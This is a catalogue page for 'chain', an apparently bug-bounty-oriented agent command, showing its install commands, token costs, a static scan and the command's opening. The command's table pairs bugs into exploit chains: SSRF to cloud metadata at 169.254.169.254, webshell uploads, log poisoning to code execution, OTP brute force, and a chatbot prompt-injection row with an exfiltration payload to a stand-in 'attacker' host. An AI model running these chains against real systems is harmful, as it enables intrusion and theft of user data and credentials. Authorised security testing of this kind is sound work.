chain

A security-testing command for combining separate bugs into an exploit chain, where one weakness enables the next and can increase the overall impact.

In plain words
What is it for?
Use it after validating a finding such as an access-control bug, server-side request forgery, cross-site scripting, or an open redirect.
Why use it?
It helps investigate whether a low-severity finding becomes more serious when paired with another weakness.

Command

Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

agentmods
npx agentmods add commands/zyrexnn/cybermes/chain
Clone the repo
git clone --depth 1 https://github.com/Zyrexnn/Cybermes
Per session 0 Only the description is in the session, so the agent can decide to use it. The body loads when it is invoked.
When invoked 1,403 The whole file, excluding the scripts and references it only reads on demand.
Security scan C 1 finding. Scan, not verified.
Origin 97% copy Near-identical to another mod in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5 $0.00000 $0.01403
Opus 5 $0.00000 $0.00701
Sonnet 5 $0.00000 $0.00281
Haiku 4.5 $0.00000 $0.00140

Measured 3d ago against content hash 6c2a202c2ca5, method: parsed. Prices are Anthropic first-party input rates as of 2026-08-30, from the pricing page.

Security

Grade C, and why

chain scanned grade C with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 3d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Cloud metadata endpointhighServer-side request forgery

One request to 169.254.169.254 can return temporary IAM credentials.

2. Try internal IPs: 169.254.169.254, 10.x.x.x, 172.16.x.x
Origin

This is a copy

97% identical to chain — 1 line differ, which has more behind it and is treated as the original. This page carries a canonical link to it rather than competing with it.

knowledge/Claude-BugHunter/commands/chain.md · 136 lines

How it starts

The opening of the file, as written. The whole thing — 136 lines — stays where its author put it; the contents beside it link to each section on GitHub.


name: chain description: Build an exploit chain — given bug A, finds B and C to combine for higher severity and payout. Knows common chain patterns: IDOR→ATO, SSRF→cloud metadata, XSS→ATO, open redirect→OAuth theft, S3→bundle→secret→OAuth. Usage: /chain

/chain

Build an A→B→C exploit chain for higher severity and payout.

When to Use This

After confirming a standalone finding that:

  • Is on the "conditionally valid" list (open redirect, SSRF DNS-only, etc.)
  • Has been validated but classified as Low
  • Could be Medium or High if combined with another finding

Usage

/chain

Describe bug A when prompted. Include:

  • Bug class
  • Endpoint
  • What you can do with it
  • Target platform

The A→B Signal Table

If you found A, immediately check these B candidates:

Found A Immediately Check B Also Check C
IDOR on GET /api/user/X/orders IDOR on PUT/DELETE same path IDOR on ALL sibling endpoints
IDOR on /v2/ endpoint Same IDOR on /v1/ (missing fix) IDOR on mobile API
Auth bypass on one endpoint Every sibling in same controller Old API version
Stored XSS in user input Does admin view this? (priv esc) Email/export/PDF rendering
SSRF with DNS callback SSRF reaching internal services SSRF via open redirect
SQLi on one parameter Every parameter in same endpoint Same param type in sibling endpoints
File upload — PNG allowed Try SVG (XSS), HTML, PHP/JSP (RCE) Double extension: shell.php.jpg
OAuth missing PKCE CSRF on OAuth flow (state param?) Token reuse: auth_code exchanged twice?
Open redirect confirmed OAuth code theft via redirect_uri Phishing chain
GraphQL introspection Auth bypass on mutations IDOR via node(id)
Race condition on coupons Race on credits/wallet Race on rate limits
Exposed S3 listing JS bundles → grep API keys/OAuth .env files in bucket
Missing rate limit on OTP Brute force OTP directly Brute force password reset tokens
CSRF on sensitive action XSS→CSRF = Critical img src / form autosubmit
Path traversal LFI: /proc/self/environ or logs Log poisoning → RCE
Leaked API key in JS Call API as that key — what can it do? Other keys in same JS file
LLM chatbot prompt injection IDOR via chatbot (read other user's data) Exfil chain: <img src="attacker?d=USER_DATA">

Read the full file on GitHub · 136 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 3d ago First seen · 136 lines · 0 tokens per session scan C 6c2a202c2ca5

Subscribe to this mod's changes

chain is a command published in the GitHub repository Zyrexnn/Cybermes (668 stars, last pushed 3d ago), licensed Apache-2.0. It costs nothing until one of its globs matches a file; then it loads 1,403 tokens. A static security scan graded it C with 1 finding (cloud metadata endpoint). It is 97% identical to chain, differing in 1 line, and is treated as a copy.